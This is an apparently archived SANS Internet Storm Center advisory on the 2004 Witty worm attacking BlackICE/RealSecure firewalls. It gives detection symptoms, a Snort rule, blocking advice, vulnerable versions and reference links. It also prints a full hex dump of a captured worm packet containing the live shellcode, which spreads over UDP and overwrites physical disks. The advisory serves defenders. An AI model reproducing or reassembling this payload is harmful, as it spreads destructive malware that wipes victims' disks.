Threat Level: green Handler on Duty: Pedro Bueno

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ALERT - Black Ice Worm

Published: 2004-03-20
Last Updated: 2004-03-25 22:46:33 UTC
by Davis Sickmon (Version: 1)
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(Note: we will not start new diaries this weekend. Instead, we will keep amending this diary)
"Witty" worm attacks BlackICE firewall
Summary

=======

At around 12:00 AM EST (05:00 UTC) on Saturday, we detected an upsurge
in UDP traffic from source port 4000. This traffic is caused by a new
worm ("Witty") which exploits a vulnerability in BlackIce's ICQ parser.

Given that this worm generates large amounts of traffic, and the wide
spread use of BlackIce, we will keep the InfoCon level at 'YELLOW',
likely until Monday morning.
While "witty" packets with other source ports are seen, they will not
trigger the vulnerability. Likely, these packets are due to infected
hosts behind NAT devices.
Detection

=========

Infected hosts will send large amounts of UDP traffic, typically
saturating a local network connection. The BlackIce task bar icon will
no longer allow the user to shut down BlackIce. It will display a
message reading "Operation could not be completed. Access is denied".


Eventually, the system will crash. Infected systems are reported to
show corrupted hard disks.


The worm will not write itself to disk. As a result, Virus scanners
may not detect it.


Snort rule by ISC Handler Pedro Bueno:


alert udp any 4000:5000 -> any any (msg:"Witty Initial Traffic";
content:"|29202020202020696e73657274207769747479206d6573736167652068657265|";rev:1;)

(note: you may want to remove the source port restriction)
Snort.org has posted additional rules to "detect the worms and should any other exploits based off of the same vulnerability."
Removal

=======

A reboot will remove the worm from the system. However, the worm
causes random hard disk corruption and the system may no longer
function. The ISS XForce has directions that _may_ help recovering some less severely Corrupted systems. These directions are available at http://xforce.iss.net/xforce/alerts/id/167 .
Prevention

==========

Disconnect systems running BlackIce as soon as possible!



Block all UDP packets with a source port of 4000
Blocking UDP packets with a source port of 4000 may disrupt
some network services. We do no know of any major services
(other then old versions of ICQ) that require UDP 4000)


This worm will corrupt hard disks and leave systems
unusable.


These versions of BlackIce and RealSecure have been identified
as vulnerable:
BlackICE™ Agent for Server 3.6 ebz, ecd, ece, ecf

BlackICE PC Protection 3.6 cbz, ccd, ccf

BlackICE Server Protection 3.6 cbz, ccd, ccf

RealSecure® Network 7.0, XPU 22.4 and 22.10

RealSecure Server Sensor 7.0 XPU 22.4 and 22.10

RealSecure Desktop 7.0 ebf, ebj, ebk, ebl

RealSecure Desktop 3.6 ebz, ecd, ece, ecf

RealSecure Guard 3.6 ebz, ecd, ece, ecf

RealSecure Sentry 3.6 ebz, ecd, ece, ecf

Other ISS products may be vulnerable as well. Please refer to ISS
for details (see end of this post for links).
Links

=====
* Internet Security Systems Information
ISS Witty Worm Announcement: http://www.iss.net/support/wittyworm.php

ISS XForce Security Alert: http://xforce.iss.net/xforce/alerts/id/167

ISS XForce Security Alert: http://xforce.iss.net/xforce/alerts/id/166

ISS Software Updates (Enterprise): http://www.iss.net/download/

BlackIce Updates (Consumer): http://blackice.iss.net/update_center/index.php
* Third Party Information
Matt Murphy's Analysis: http://www.netsecure.shawbiz.ca/witty-analysis.html

Lurhq Analysis: http://www.lurhq.com/witty.html

eEye Security Advisory: http://www.eeye.com/html/Research/Advisories/AD20040318.html

F-Secure Analysis: http://www.f-secure.com/v-descs/witty.shtml

Symantec Analysis: http://securityresponse.symantec.com/avcenter/venc/data/w32.witty.worm.html

Snort Rules: http://www.snort.org

SecurityFocus Vulnerabilty Information: http://www.securityfocus.com/bid/9913

Secunia Advisory: http://secunia.com/advisories/11073/

USCert Security Update: http://www.uscert.gov/current/current_activity.html#witty

USCert Vulnerability Update: http://www.kb.cert.org/vuls/id/947254
Sample Packet

=============



01:54:45.699383 219.154.156.161.4000 > 65.173.218.164.50212: udp 997
0x0000 4500 0401 d3b4 0000 7111 dda9 db9a 9ca1 E.......q.......
0x0010 41ad daa4 0fa0 c424 03ed dd38 0500 0000 A......$...8....
0x0020 0000 0012 0200 0000 0000 0000 0000 0000 ................
0x0030 0002 2c00 0500 0000 0000 006e 0000 0000 ..,........n....
0x0040 0000 0000 0000 0000 0000 0000 0001 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060 4102 0500 0000 0000 00de 0300 0000 0000 A...............
0x0070 0000 0000 0000 0000 0000 0100 0001 0000 ................
0x0080 0100 001e 0220 2020 2020 2020 285e 2e5e ............(^.^
0x0090 2920 2020 2020 2069 6e73 6572 7420 7769 )......insert.wi
0x00a0 7474 7920 6d65 7373 6167 6520 6865 7265 tty.message.here
0x00b0 2e20 2020 2020 2028 5e2e 5e29 2020 2020 .......(^.^)....
0x00c0 2020 2089 e78b 7f14 83c7 0881 c4e8 fdff ................
0x00d0 ff31 c966 b933 3251 6877 7332 5f54 3eff .1.f.32Qhws2_T>.
0x00e0 159c 400d 5e89 c331 c966 b965 7451 6873 ..@.^..1.f.etQhs
0x00f0 6f63 6b54 533e ff15 9840 0d5e 6a11 6a02 ockTS>...@.^j.j.
0x0100 6a02 ffd0 89c6 31c9 5168 6269 6e64 5453 j.....1.QhbindTS
0x0110 3eff 1598 400d 5e31 c951 5151 81e9 feff >...@.^1.QQQ....
0x0120 f05f 5189 e16a 1051 56ff d031 c966 b974 ._Q..j.QV..1.f.t
0x0130 6f51 6873 656e 6454 533e ff15 9840 0d5e oQhsendTS>...@.^
0x0140 89c3 83c4 3c31 c951 6865 6c33 3268 6b65 ....<1.Qhel32hke
0x0150 726e 543e ff15 9c40 0d5e 31c9 5168 6f75 rnT>...@.^1.Qhou
0x0160 6e74 6869 636b 4368 4765 7454 5450 3eff nthickChGetTTP>.
0x0170 1598 400d 5eff d089 c583 c41c 31c9 81e9 ..@.^.......1...
0x0180 e0b1 ffff 5131 c02d 03bc fcff f7e5 2d3d ....Q1.-......-=
0x0190 61d9 ff89 c131 c02d 03bc fcff f7e1 2d3d a....1.-......-=
0x01a0 61d9 ff89 c531 d252 52c1 e910 6689 c850 a....1.RR...f..P
0x01b0 31c0 2d03 bcfc fff7 e52d 3d61 d9ff 89c5 1.-......-=a....
0x01c0 30e4 b002 5089 e06a 1050 31c0 502d 03bc 0...P..j.P1.P-..
0x01d0 fcff f7e5 2d3d 61d9 ff89 c5c1 e817 80c4 ....-=a.........
0x01e0 0350 5756 ffd3 83c4 1059 e298 31c0 2d03 .PWV.....Y..1.-.
0x01f0 bcfc fff7 e52d 3d61 d9ff 89c5 c1e8 1080 .....-=a........
0x0200 e407 80cc 30b0 4550 6844 5249 5668 4943 ....0.EPhDRIVhIC
0x0210 414c 6850 4859 5368 5c5c 2e5c 89e0 31c9 ALhPHYSh\\.\..1.
0x0220 51b2 20c1 e218 526a 0351 6a03 d1e2 5250 Q.....Rj.Qj...RP
0x0230 3eff 15dc 400d 5e83 c414 31c9 81e9 e0b1 >...@.^...1.....
0x0240 ffff 3dff ffff ff0f 8437 ffff ff56 89c6 ..=......7...V..
0x0250 31c0 5050 2d03 bcfc fff7 e52d 3d61 d9ff 1.PP-......-=a..
0x0260 89c5 d1e8 6689 c850 563e ff15 c440 0d5e ....f..PV>...@.^
0x0270 31c9 5189 e251 52b5 80d1 e151 b15e c1e1 1.Q..QR....Q.^..
0x0280 1851 563e ff15 9440 0d5e 563e ff15 3840 .QV>...@.^V>..8@
0x0290 0d5e 5e5e e9ac feff ff63 7607 5ee9 21fe .^^^.....cv.^.!.
0x02a0 ffff 0043 666a 7663 6c62 3431 5051 3530 ...Cfjvclb41PQ50
0x02b0 6a48 3150 6334 5051 5559 4878 3774 654f jH1Pc4PQUYHx7teO
0x02c0 7a54 5354 5954 654c 4d41 0d0a 446c 4433 zTSTYTeLMA..DlD3
0x02d0 5237 6c56 7442 4375 6b6b 6864 7a2b 3276 R7lVtBCukkhdz+2v
0x02e0 6f75 3033 4163 3557 4f52 6b75 7172 6764 ou03Ac5WORkuqrgd
0x02f0 4b72 7531 5a49 4f43 6c53 522f 7851 4f69 Kru1ZIOClSR/xQOi
0x0300 4b6f 3648 7a4a 7567 5272 4934 7337 4f6b Ko6HzJugRrI4s7Ok
0x0310 534b 7750 714c 7534 0d0a 3562 614e 6252 SKwPqLu4..5baNbR
0x0320 3067 504e 5950 4000 3406 b662 4044 5219 0gPNYP@.4..b@DR.
0x0330 928e 0442 6741 6241 4630 4544 4141 5741 ...BgAbAF0EDAAWA
0x0340 4141 4141 4141 4141 4131 3833 223e 0a20 AAAAAAAAA183">..
0x0350 2020 2020 8001 0000 4600 0000 4600 0000 ........F...F...
0x0360 8000 0000 0200 0000 66cc 5b40 ef1c 0d00 ........f.[@....
0x0370 83e1 00b0 1100 0600 d003 0000 d003 0000 ................
0x0380 0004 0000 0200 0000 aacc 5b40 0e27 0700 ..........[@.'..
0x0390 83e1 0000 0000 0002 00b0 d02b a49b 0800 ...........+....
0x03a0 4500 03c2 0a72 0000 8011 0000 83e1 1bb1 E....r..........
0x03b0 ba54 02a2 0fa0 06a5 03ae eb72 0500 0000 .T.........r....
0x03c0 0000 0012 0200 0000 0000 0000 0000 0000 ................
0x03d0 0002 2c00 0500 0000 0000 006e 0000 0000 ..,........n....
0x03e0 0000 0000 0000 0032 5e80 1d33 1d20 0c95 .......2^..3....
0x03f0 8310 167b 1100 0700 4600 0000 4600 0000 ...{....F...F...
0x0400 80 .


-----------------------------------------------------------------------

Johannes Ullrich, jullrich_AT_sans.org - SANS Institute.
Scott Fendley, scottf _AT_ uark.edu - University of Arkansas-Fayetteville

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